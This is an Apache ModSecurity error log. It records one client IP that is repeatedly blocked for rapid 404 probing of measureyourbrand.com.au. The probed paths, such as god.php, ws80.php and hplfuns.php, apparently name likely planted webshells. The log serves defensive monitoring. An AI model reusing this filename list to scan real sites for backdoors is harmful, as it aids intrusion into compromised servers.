[Tue Mar 03 00:52:31.726486 2026] [:error] [pid 18960:tid 18963] [client 158.158.41.149:14568] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file59.php"] [unique_id "aaXAT9Cu09icM9oIHwDOiwAAAMA"]
[Tue Mar 03 00:52:32.402307 2026] [:error] [pid 18960:tid 18980] [client 158.158.41.149:14032] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file59.php"] [unique_id "aaXAUNCu09icM9oIHwDOkQAAANE"]
[Tue Mar 03 00:52:33.248901 2026] [:error] [pid 18558:tid 18863] [client 158.158.41.149:31395] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file59.php"] [unique_id "aaXAUbO1kQHjTOLioCm0jQAAAIk"]
[Tue Mar 03 00:52:34.264996 2026] [:error] [pid 60214:tid 60225] [client 158.158.41.149:14067] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file59.php"] [unique_id "aaXAUomuQ_v4S3RkLivnAAAAAQk"]
[Tue Mar 03 00:52:43.196005 2026] [:error] [pid 18960:tid 18987] [client 158.158.41.149:12395] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aaXAW9Cu09icM9oIHwDOvAAAANg"]
[Tue Mar 03 00:52:44.038686 2026] [:error] [pid 18558:tid 18866] [client 158.158.41.149:5689] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aaXAXLO1kQHjTOLioCm02AAAAIw"]
[Tue Mar 03 00:52:46.310669 2026] [:error] [pid 18960:tid 18971] [client 158.158.41.149:20092] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aaXAXtCu09icM9oIHwDOwAAAAMg"]
[Tue Mar 03 00:52:47.332318 2026] [:error] [pid 18558:tid 18857] [client 158.158.41.149:12968] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aaXAX7O1kQHjTOLioCm06QAAAIM"]
[Tue Mar 03 00:52:48.982632 2026] [:error] [pid 60214:tid 60233] [client 158.158.41.149:21161] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaXAYImuQ_v4S3RkLivnPQAAARE"]
[Tue Mar 03 00:52:49.688631 2026] [:error] [pid 60214:tid 60220] [client 158.158.41.149:11600] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaXAYYmuQ_v4S3RkLivnQAAAAQQ"]
[Tue Mar 03 00:52:50.748297 2026] [:error] [pid 60214:tid 60236] [client 158.158.41.149:11630] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaXAYomuQ_v4S3RkLivnRQAAARQ"]
[Tue Mar 03 00:52:51.759855 2026] [:error] [pid 18556:tid 18758] [client 158.158.41.149:28403] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaXAY39AYyTTd2eEk9E2wwAAAAM"]
[Tue Mar 03 00:52:56.781613 2026] [:error] [pid 18558:tid 18854] [client 158.158.41.149:12928] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aaXAaLO1kQHjTOLioCm1NwAAAIA"]
[Tue Mar 03 00:53:06.003601 2026] [:error] [pid 18558:tid 18854] [client 158.158.41.149:13755] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aaXAcrO1kQHjTOLioCm1VQAAAIA"]
[Tue Mar 03 00:53:11.234787 2026] [:error] [pid 18960:tid 18979] [client 158.158.41.149:9728] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaXAd9Cu09icM9oIHwDO7QAAANA"]
[Tue Mar 03 00:53:13.891870 2026] [:error] [pid 18960:tid 18967] [client 158.158.41.149:9521] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaXAedCu09icM9oIHwDO9AAAAMQ"]
[Tue Mar 03 00:53:14.633239 2026] [:error] [pid 18556:tid 18775] [client 158.158.41.149:4586] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaXAen9AYyTTd2eEk9E20QAAABM"]
[Tue Mar 03 00:53:16.424136 2026] [:error] [pid 18558:tid 18876] [client 158.158.41.149:24201] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaXAfLO1kQHjTOLioCm1awAAAJY"]
[Tue Mar 03 00:53:17.206299 2026] [:error] [pid 18960:tid 18981] [client 158.158.41.149:25963] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aaXAfdCu09icM9oIHwDO-gAAANI"]
[Tue Mar 03 00:53:18.537197 2026] [:error] [pid 18960:tid 18964] [client 158.158.41.149:5453] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aaXAftCu09icM9oIHwDO_wAAAME"]
[Tue Mar 03 00:53:19.814803 2026] [:error] [pid 60214:tid 60216] [client 158.158.41.149:16125] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aaXAf4muQ_v4S3RkLivnpAAAAQA"]
[Tue Mar 03 00:53:20.553833 2026] [:error] [pid 60214:tid 60230] [client 158.158.41.149:31209] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aaXAgImuQ_v4S3RkLivnpwAAAQ4"]
[Tue Mar 03 00:53:21.760156 2026] [:error] [pid 60214:tid 60227] [client 158.158.41.149:5045] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/work.php"] [unique_id "aaXAgYmuQ_v4S3RkLivnrQAAAQs"]
[Tue Mar 03 00:53:23.037129 2026] [:error] [pid 60214:tid 60222] [client 158.158.41.149:31537] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/work.php"] [unique_id "aaXAg4muQ_v4S3RkLivntgAAAQY"]
[Tue Mar 03 00:53:24.287097 2026] [:error] [pid 60214:tid 60228] [client 158.158.41.149:32725] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/work.php"] [unique_id "aaXAhImuQ_v4S3RkLivnugAAAQw"]
[Tue Mar 03 00:53:27.536070 2026] [:error] [pid 18960:tid 18979] [client 158.158.41.149:31536] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/work.php"] [unique_id "aaXAh9Cu09icM9oIHwDPEwAAANA"]
[Tue Mar 03 00:53:28.261891 2026] [:error] [pid 18557:tid 18834] [client 158.158.41.149:31496] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/06.php"] [unique_id "aaXAiNngZqR9Tp8JM0FSEAAAAEs"]
[Tue Mar 03 00:53:30.039203 2026] [:error] [pid 18556:tid 18765] [client 158.158.41.149:19603] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/06.php"] [unique_id "aaXAin9AYyTTd2eEk9E24QAAAAo"]
[Tue Mar 03 00:53:31.736898 2026] [:error] [pid 60214:tid 60240] [client 158.158.41.149:4566] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/06.php"] [unique_id "aaXAi4muQ_v4S3RkLivnygAAARg"]
[Tue Mar 03 00:53:33.919903 2026] [:error] [pid 60214:tid 60233] [client 158.158.41.149:4551] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/06.php"] [unique_id "aaXAjYmuQ_v4S3RkLivn0gAAARE"]
[Tue Mar 03 00:53:34.951168 2026] [:error] [pid 60214:tid 60227] [client 158.158.41.149:19594] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/god.php"] [unique_id "aaXAjomuQ_v4S3RkLivn2gAAAQs"]
[Tue Mar 03 00:53:35.684696 2026] [:error] [pid 60214:tid 60226] [client 158.158.41.149:25883] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/god.php"] [unique_id "aaXAj4muQ_v4S3RkLivn3gAAAQo"]
[Tue Mar 03 00:53:37.932288 2026] [:error] [pid 18960:tid 18973] [client 158.158.41.149:12924] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/god.php"] [unique_id "aaXAkdCu09icM9oIHwDPJQAAAMo"]
[Tue Mar 03 00:53:38.948139 2026] [:error] [pid 60214:tid 60237] [client 158.158.41.149:18140] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/god.php"] [unique_id "aaXAkomuQ_v4S3RkLivn8QAAARU"]
[Tue Mar 03 00:53:40.255454 2026] [:error] [pid 60214:tid 60228] [client 158.158.41.149:31213] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X57.php"] [unique_id "aaXAlImuQ_v4S3RkLivn-AAAAQw"]
[Tue Mar 03 00:53:51.232109 2026] [:error] [pid 60214:tid 60232] [client 158.158.41.149:12912] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aaXAn4muQ_v4S3RkLivoKQAAARA"]
[Tue Mar 03 00:53:52.200227 2026] [:error] [pid 18960:tid 18968] [client 158.158.41.149:25857] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aaXAoNCu09icM9oIHwDPNwAAAMU"]
[Tue Mar 03 00:53:53.265844 2026] [:error] [pid 18960:tid 18982] [client 158.158.41.149:19609] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aaXAodCu09icM9oIHwDPOAAAANM"]
[Tue Mar 03 00:53:54.319985 2026] [:error] [pid 60214:tid 60237] [client 158.158.41.149:17138] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "aaXAoomuQ_v4S3RkLivoOQAAARU"]
[Tue Mar 03 00:53:55.751425 2026] [:error] [pid 18960:tid 18964] [client 158.158.41.149:12911] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws81.php"] [unique_id "aaXAo9Cu09icM9oIHwDPOwAAAME"]
[Tue Mar 03 00:53:57.297930 2026] [:error] [pid 60214:tid 60216] [client 158.158.41.149:19637] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws81.php"] [unique_id "aaXApYmuQ_v4S3RkLivoQgAAAQA"]
[Tue Mar 03 00:54:01.481988 2026] [:error] [pid 18558:tid 18870] [client 158.158.41.149:4253] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws81.php"] [unique_id "aaXAqbO1kQHjTOLioCm1xAAAAJA"]
[Tue Mar 03 00:54:05.696643 2026] [:error] [pid 18557:tid 18828] [client 158.158.41.149:13007] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws81.php"] [unique_id "aaXArdngZqR9Tp8JM0FSQAAAAEY"]
[Tue Mar 03 00:54:07.926992 2026] [:error] [pid 18960:tid 18971] [client 158.158.41.149:4234] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aaXAr9Cu09icM9oIHwDPVQAAAMg"]
[Tue Mar 03 00:54:09.327860 2026] [:error] [pid 18558:tid 18874] [client 158.158.41.149:19599] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aaXAsbO1kQHjTOLioCm13QAAAJQ"]
[Tue Mar 03 00:54:10.287362 2026] [:error] [pid 18557:tid 18827] [client 158.158.41.149:7427] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aaXAstngZqR9Tp8JM0FSRQAAAEU"]
[Tue Mar 03 00:54:12.394611 2026] [:error] [pid 18558:tid 18869] [client 158.158.41.149:7426] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aaXAtLO1kQHjTOLioCm15AAAAI8"]
[Tue Mar 03 00:54:14.169969 2026] [:error] [pid 60214:tid 60221] [client 158.158.41.149:5840] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aaXAtomuQ_v4S3RkLivoZwAAAQU"]
[Tue Mar 03 00:54:15.222374 2026] [:error] [pid 18960:tid 18967] [client 158.158.41.149:9987] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aaXAt9Cu09icM9oIHwDPZAAAAMQ"]
[Tue Mar 03 00:54:16.015185 2026] [:error] [pid 18960:tid 18987] [client 158.158.41.149:5324] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aaXAuNCu09icM9oIHwDPaAAAANg"]
[Tue Mar 03 00:54:18.053988 2026] [:error] [pid 18960:tid 18981] [client 158.158.41.149:4601] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aaXAutCu09icM9oIHwDPbwAAANI"]
[Tue Mar 03 00:54:18.856871 2026] [:error] [pid 18558:tid 18865] [client 158.158.41.149:5107] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v.php"] [unique_id "aaXAurO1kQHjTOLioCm18gAAAIs"]
[Tue Mar 03 00:54:20.578757 2026] [:error] [pid 18960:tid 18963] [client 158.158.41.149:5324] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v.php"] [unique_id "aaXAvNCu09icM9oIHwDPfwAAAMA"]
[Tue Mar 03 00:54:21.900499 2026] [:error] [pid 18558:tid 18875] [client 158.158.41.149:25858] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v.php"] [unique_id "aaXAvbO1kQHjTOLioCm1_AAAAJU"]
[Tue Mar 03 00:54:22.974378 2026] [:error] [pid 18558:tid 18861] [client 158.158.41.149:25862] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v.php"] [unique_id "aaXAvrO1kQHjTOLioCm2AwAAAIc"]
[Tue Mar 03 00:54:26.696342 2026] [:error] [pid 60214:tid 60228] [client 158.158.41.149:25882] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aaXAwomuQ_v4S3RkLivogQAAAQw"]
